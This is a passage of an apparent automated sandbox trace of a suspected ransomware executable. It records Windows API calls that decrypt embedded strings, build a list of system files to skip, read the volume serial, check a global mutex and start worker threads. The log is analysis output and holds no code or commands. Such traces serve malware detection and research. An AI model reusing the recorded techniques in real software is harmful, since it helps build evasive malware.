pbData=0x2ff984, dwFlags=0x0) returned 1 [0036.511] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb01628, pdwDataLen=0x2ff950 | out: pbData=0xb01628, pdwDataLen=0x2ff950) returned 1 [0036.511] CryptDestroyKey (hKey=0x735430) returned 1 [0036.511] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x84) returned 0xb016c0 [0036.511] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x84) returned 0xb05d40 [0036.511] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb05dd0 [0036.511] CryptImportKey (in: hProv=0x735018, pbData=0x2ff90c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff974 | out: phKey=0x2ff974*=0x735430) returned 1 [0036.511] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff95c, dwFlags=0x0) returned 1 [0036.511] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05dd0, pdwDataLen=0x2ff928 | out: pbData=0xb05dd0, pdwDataLen=0x2ff928) returned 1 [0036.511] CryptDestroyKey (hKey=0x735430) returned 1 [0036.512] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05dd0 | out: hHeap=0xb00000) returned 1 [0036.512] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0xb016c0, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0036.512] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05d40 | out: hHeap=0xb00000) returned 1 [0036.512] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01628 | out: hHeap=0xb00000) returned 1 [0036.512] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb01750 [0036.512] CryptImportKey (in: hProv=0x735018, pbData=0x2ff930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff998 | out: phKey=0x2ff998*=0x735430) returned 1 [0036.512] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff980, dwFlags=0x0) returned 1 [0036.512] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb01750, pdwDataLen=0x2ff94c | out: pbData=0xb01750, pdwDataLen=0x2ff94c) returned 1 [0036.512] CryptDestroyKey (hKey=0x735430) returned 1 [0036.512] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x18) returned 0xb01778 [0036.512] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x18) returned 0xb01798 [0036.512] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb01628 [0036.512] CryptImportKey (in: hProv=0x735018, pbData=0x2ff908*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff970 | out: phKey=0x2ff970*=0x735430) returned 1 [0036.512] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff958, dwFlags=0x0) returned 1 [0036.512] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb01628, pdwDataLen=0x2ff924 | out: pbData=0xb01628, pdwDataLen=0x2ff924) returned 1 [0036.513] CryptDestroyKey (hKey=0x735430) returned 1 [0036.513] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01628 | out: hHeap=0xb00000) returned 1 [0036.513] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0xb01778, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0036.513] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01798 | out: hHeap=0xb00000) returned 1 [0036.513] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01750 | out: hHeap=0xb00000) returned 1 [0036.513] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20a) returned 0xb05d40 [0036.513] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20a) returned 0xb05f58 [0036.513] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xb05f58, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 0x5f [0036.514] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f58 | out: hHeap=0xb00000) returned 1 [0036.514] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0xb38) returned 0xb05f58 [0036.514] GetLastError () returned 0x0 [0036.514] RtlReAllocateHeap (Heap=0xb00000, Flags=0x0, Ptr=0xb05f58, Size=0xd82) returned 0xb05f58 [0036.514] GetLastError () returned 0x0 [0036.514] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x86) returned 0xb01628 [0036.514] GetLastError () returned 0x0 [0036.514] RtlReAllocateHeap (Heap=0xb00000, Flags=0x0, Ptr=0xb01628, Size=0x110) returned 0xb06ce8 [0036.514] GetLastError () returned 0x0 [0036.514] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1a) returned 0xb01750 [0036.514] GetLastError () returned 0x0 [0036.514] CryptImportKey (in: hProv=0x735018, pbData=0x2ff9b8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ffa20 | out: phKey=0x2ffa20*=0x735430) returned 1 [0036.514] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ffa08, dwFlags=0x0) returned 1 [0036.514] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb01778, pdwDataLen=0x2ff9d4 | out: pbData=0xb01778, pdwDataLen=0x2ff9d4) returned 1 [0036.514] CryptDestroyKey (hKey=0x735430) returned 1 [0036.514] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb014d0 [0036.514] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb014f8 [0036.515] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb01628 [0036.515] CryptImportKey (in: hProv=0x735018, pbData=0x2ff990*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff9f8 | out: phKey=0x2ff9f8*=0x735430) returned 1 [0036.515] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff9e0, dwFlags=0x0) returned 1 [0036.515] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb01628, pdwDataLen=0x2ff9ac | out: pbData=0xb01628, pdwDataLen=0x2ff9ac) returned 1 [0036.515] CryptDestroyKey (hKey=0x735430) returned 1 [0036.515] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01628 | out: hHeap=0xb00000) returned 1 [0036.515] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb014d0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0036.516] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014f8 | out: hHeap=0xb00000) returned 1 [0036.516] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01778 | out: hHeap=0xb00000) returned 1 [0036.516] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2ffa60, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2ffa60*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0036.516] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014d0 | out: hHeap=0xb00000) returned 1 [0036.516] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x28) returned 0xb01778 [0036.517] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb017a8 [0036.517] CryptImportKey (in: hProv=0x735018, pbData=0x2ff99c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ffa04 | out: phKey=0x2ffa04*=0x735430) returned 1 [0036.517] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff9ec, dwFlags=0x0) returned 1 [0036.517] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb017a8, pdwDataLen=0x2ff9b8 | out: pbData=0xb017a8, pdwDataLen=0x2ff9b8) returned 1 [0036.517] CryptDestroyKey (hKey=0x735430) returned 1 [0036.517] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x60) returned 0xb014d0 [0036.517] CryptImportKey (in: hProv=0x735018, pbData=0x2ff994*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff9fc | out: phKey=0x2ff9fc*=0x735430) returned 1 [0036.517] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff9e4, dwFlags=0x0) returned 1 [0036.517] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb014d0, pdwDataLen=0x2ff9b0 | out: pbData=0xb014d0, pdwDataLen=0x2ff9b0) returned 1 [0036.517] CryptDestroyKey (hKey=0x735430) returned 1 [0036.517] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x5c) returned 0xb01628 [0036.517] RtlReAllocateHeap (Heap=0xb00000, Flags=0x0, Ptr=0xb01628, Size=0xb6) returned 0xb01628 [0036.517] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10) returned 0xb01538 [0036.518] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0xb40) returned 0xb04fa0 [0036.518] CryptImportKey (in: hProv=0x735018, pbData=0x2ff964*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff9cc | out: phKey=0x2ff9cc*=0x735430) returned 1 [0036.518] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff9b4, dwFlags=0x0) returned 1 [0036.518] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb04fa0, pdwDataLen=0x2ff980 | out: pbData=0xb04fa0, pdwDataLen=0x2ff980) returned 1 [0036.518] CryptDestroyKey (hKey=0x735430) returned 1 [0036.518] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x250) returned 0xb05ae8 [0036.518] CryptImportKey (in: hProv=0x735018, pbData=0x2ff95c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff9c4 | out: phKey=0x2ff9c4*=0x735430) returned 1 [0036.518] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff9ac, dwFlags=0x0) returned 1 [0036.518] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05ae8, pdwDataLen=0x2ff978 | out: pbData=0xb05ae8, pdwDataLen=0x2ff978) returned 1 [0036.518] CryptDestroyKey (hKey=0x735430) returned 1 [0036.518] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb05d40 [0036.518] CryptImportKey (in: hProv=0x735018, pbData=0x2ff934*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff99c | out: phKey=0x2ff99c*=0x735430) returned 1 [0036.518] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff984, dwFlags=0x0) returned 1 [0036.518] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05d40, pdwDataLen=0x2ff950 | out: pbData=0xb05d40, pdwDataLen=0x2ff950) returned 1 [0036.518] CryptDestroyKey (hKey=0x735430) returned 1 [0036.518] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x84) returned 0xb05dd8 [0036.518] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x84) returned 0xb05e68 [0036.518] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0036.518] CryptImportKey (in: hProv=0x735018, pbData=0x2ff90c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff974 | out: phKey=0x2ff974*=0x735430) returned 1 [0036.518] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff95c, dwFlags=0x0) returned 1 [0036.518] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x2ff928 | out: pbData=0xb0ab38, pdwDataLen=0x2ff928) returned 1 [0036.518] CryptDestroyKey (hKey=0x735430) returned 1 [0036.519] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0036.519] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0xb05dd8, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0036.520] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05e68 | out: hHeap=0xb00000) returned 1 [0036.520] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05d40 | out: hHeap=0xb00000) returned 1 [0036.520] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb016e8 [0036.520] CryptImportKey (in: hProv=0x735018, pbData=0x2ff930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff998 | out: phKey=0x2ff998*=0x735430) returned 1 [0036.520] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff980, dwFlags=0x0) returned 1 [0036.520] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb016e8, pdwDataLen=0x2ff94c | out: pbData=0xb016e8, pdwDataLen=0x2ff94c) returned 1 [0036.520] CryptDestroyKey (hKey=0x735430) returned 1 [0036.520] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x18) returned 0xb01710 [0036.520] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x18) returned 0xb01730 [0036.520] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0036.520] CryptImportKey (in: hProv=0x735018, pbData=0x2ff908*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ff970 | out: phKey=0x2ff970*=0x735430) returned 1 [0036.520] CryptSetKeyParam (hKey=0x735430, dwParam=0x1, pbData=0x2ff958, dwFlags=0x0) returned 1 [0036.520] CryptDecrypt (in: hKey=0x735430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x2ff924 | out: pbData=0xb0ab38, pdwDataLen=0x2ff924) returned 1 [0036.520] CryptDestroyKey (hKey=0x735430) returned 1 [0036.521] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0036.521] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0xb01710, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0036.521] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01730 | out: hHeap=0xb00000) returned 1 [0036.521] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb016e8 | out: hHeap=0xb00000) returned 1 [0036.521] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20a) returned 0x306f90 [0036.521] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20a) returned 0x3071a8 [0036.521] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3071a8, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 0x5f [0036.521] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3071a8 | out: hHeap=0xb00000) returned 1 [0036.521] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0xb38) returned 0x3071a8 [0036.521] GetLastError () returned 0x0 [0036.522] RtlReAllocateHeap (Heap=0xb00000, Flags=0x0, Ptr=0xb05d40, Size=0x110) returned 0xb0cb20 [0036.522] GetLastError () returned 0x0 [0036.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb81f96, lpParameter=0x2ffaf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x98 [0036.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb81e5c, lpParameter=0x2ffae8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c [0036.523] WaitForMultipleObjects (nCount=0x3, lpHandles=0x2ffa9c*=0x90, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 6 os_tid = 0xee0 [0036.524] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb01710 [0036.524] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x735450) returned 1 [0036.524] CryptSetKeyParam (hKey=0x735450, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0036.524] CryptDecrypt (in: hKey=0x735450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb01710, pdwDataLen=0x209f684 | out: pbData=0xb01710, pdwDataLen=0x209f684) returned 1 [0036.524] CryptDestroyKey (hKey=0x735450) returned 1 [0036.524] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb014d0 [0036.524] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb014f8 [0036.524] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0036.524] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x735450) returned 1 [0036.525] CryptSetKeyParam (hKey=0x735450, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0036.525] CryptDecrypt (in: hKey=0x735450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0036.525] CryptDestroyKey (hKey=0x735450) returned 1 [0036.525] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0036.525] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb014d0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0036.525] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014f8 | out: hHeap=0xb00000) returned 1 [0036.526] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01710 | out: hHeap=0xb00000) returned 1 [0036.526] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0036.526] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014d0 | out: hHeap=0xb00000) returned 1 [0036.526] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb014d0 [0036.526] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x735450) returned 1 [0036.526] CryptSetKeyParam (hKey=0x735450, dwParam=0x1, pbData=0x209f6ec, dwFlags=0x0) returned 1 [0036.526] CryptDecrypt (in: hKey=0x735450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb014d0, pdwDataLen=0x209f6b8 | out: pbData=0xb014d0, pdwDataLen=0x209f6b8) returned 1 [0036.526] CryptDestroyKey (hKey=0x735450) returned 1 [0036.526] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0xb01710 [0036.526] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0xa0 [0036.527] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0x0) returned 0x102 [0036.527] CloseHandle (hObject=0xa0) returned 1 [0036.527] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014d0 | out: hHeap=0xb00000) returned 1 [0036.527] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01710 | out: hHeap=0xb00000) returned 1 [0036.527] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb01710 [0036.527] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x735450) returned 1 [0036.528] CryptSetKeyParam (hKey=0x735450, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0036.528] CryptDecrypt (in: hKey=0x735450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb01710, pdwDataLen=0x209f684 | out: pbData=0xb01710, pdwDataLen=0x209f684) returned 1 [0036.528] CryptDestroyKey (hKey=0x735450) returned 1 [0036.528] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb014d0 [0036.528] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb014f8 [0036.528] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0036.528] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x735450) returned 1 [0036.528] CryptSetKeyParam (hKey=0x735450, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0036.528] CryptDecrypt (in: hKey=0x735450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0036.528] CryptDestroyKey (hKey=0x735450) returned 1 [0036.528] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0036.528] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb014d0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0036.528] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014f8 | out: hHeap=0xb00000) returned 1 [0036.529] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01710 | out: hHeap=0xb00000) returned 1 [0036.529] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0036.529] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014d0 | out: hHeap=0xb00000) returned 1 [0036.529] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb014d0 [0036.529] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x735450) returned 1 [0036.529] CryptSetKeyParam (hKey=0x735450, dwParam=0x1, pbData=0x209f6ec, dwFlags=0x0) returned 1 [0036.529] CryptDecrypt (in: hKey=0x735450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb014d0, pdwDataLen=0x209f6b8 | out: pbData=0xb014d0, pdwDataLen=0x209f6b8) returned 1 [0036.529] CryptDestroyKey (hKey=0x735450) returned 1 [0036.529] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0xb01710 [0036.529] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0xa0 [0036.529] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0x0) returned 0x102 [0036.529] CloseHandle (hObject=0xa0) returned 1 [0036.530] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014d0 | out: hHeap=0xb00000) returned 1 [0036.530] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01710 | out: hHeap=0xb00000) returned 1 [0036.530] Sleep (dwMilliseconds=0x3e8) [0037.797] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb058a0 [0037.797] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x73d5a8) returned 1 [0037.798] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0037.798] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb058a0, pdwDataLen=0x209f684 | out: pbData=0xb058a0, pdwDataLen=0x209f684) returned 1 [0037.798] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0037.798] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb058c8 [0037.798] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb058f0 [0037.798] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0037.798] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x73d5a8) returned 1 [0037.798] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0037.798] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0037.798] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0037.799] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0037.799] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb058c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0037.799] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb058f0 | out: hHeap=0xb00000) returned 1 [0037.800] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb058a0 | out: hHeap=0xb00000) returned 1 [0037.800] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0037.800] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb058c8 | out: hHeap=0xb00000) returned 1 [0037.800] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb058a0 [0037.800] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x73d5a8) returned 1 [0037.800] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, 